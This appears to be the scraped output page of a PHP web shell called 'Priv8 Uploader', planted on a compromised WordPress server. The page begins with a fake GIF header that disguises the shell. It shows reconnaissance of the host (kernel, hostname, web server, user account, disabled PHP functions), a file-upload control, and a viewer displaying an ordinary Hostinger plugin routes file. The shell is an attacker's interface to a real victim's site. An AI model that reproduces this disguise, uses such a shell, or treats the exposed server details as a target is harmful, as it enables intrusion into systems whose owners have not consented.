GIF89a;

Priv8 Uploader By InMyMine7

Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
root@viangans
HEX
Server: Apache/2.4.65 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System: Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
User: fluxionuser (1005)
PHP: 8.3.28
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
Upload Files
File: /home/fluxionuser/web/kastudio.in/public_html/wp-content/plugins/hostinger/includes/Rest/Routes.php
<?php

namespace Hostinger\Rest;

if ( ! defined( 'ABSPATH' ) ) {
    die;
}

/**
 * Class for handling Rest Api Routes
 */
class Routes {
    /**
     * @var Settings
     */
    private SettingsRoutes $settings_routes;

    /**
     * @param SettingsRoutes $settings_routes Settings route class.
     */
    public function __construct( SettingsRoutes $settings_routes ) {
        $this->settings_routes = $settings_routes;
    }

    /**
     * Init rest routes
     *
     * @return void
     */
    public function init(): void {
        add_action( 'rest_api_init', array( $this, 'register_routes' ) );
    }

    /**
     * @return void
     */
    public function register_routes() {
        // Register Settings Rest API Routes.
        $this->register_settings_routes();
    }

    /**
     *
     * @return void
     */
    private function register_settings_routes(): void {
        // Return settings.
        register_rest_route(
            HOSTINGER_PLUGIN_REST_API_BASE,
            'get-settings',
            array(
                'methods'             => 'GET',
                'callback'            => array( $this->settings_routes, 'get_settings' ),
                'permission_callback' => array( $this, 'permission_check' ),
            )
        );

        // Update settings.
        register_rest_route(
            HOSTINGER_PLUGIN_REST_API_BASE,
            'update-settings',
            array(
                'methods'             => 'POST',
                'callback'            => array( $this->settings_routes, 'update_settings' ),
                'permission_callback' => array( $this, 'permission_check' ),
            )
        );

        // Regenerate bypass link.
        register_rest_route(
            HOSTINGER_PLUGIN_REST_API_BASE,
            'regenerate-bypass-code',
            array(
                'methods'             => 'GET',
                'callback'            => array( $this->settings_routes, 'regenerate_bypass_code' ),
                'permission_callback' => array( $this, 'permission_check' ),
            )
        );
    }

    /**
     * @param WP_REST_Request $request WordPress rest request.
     *
     * @return bool
     */
    /** PHPCS:disable Generic.CodeAnalysis.UnusedFunctionParameter.Found */
    public function permission_check( $request ): bool {
        // Workaround if Rest Api endpoint cache is enabled.
        // We don't want to cache these requests.
        if ( has_action( 'litespeed_control_set_nocache' ) ) {
            do_action(
                'litespeed_control_set_nocache',
                'Custom Rest API endpoint, not cacheable.'
            );
        }

        if ( empty( is_user_logged_in() ) ) {
            return false;
        }

        // Implement custom capabilities when needed.
        return current_user_can( 'manage_options' );
    }
}
/** PHPCS:enable */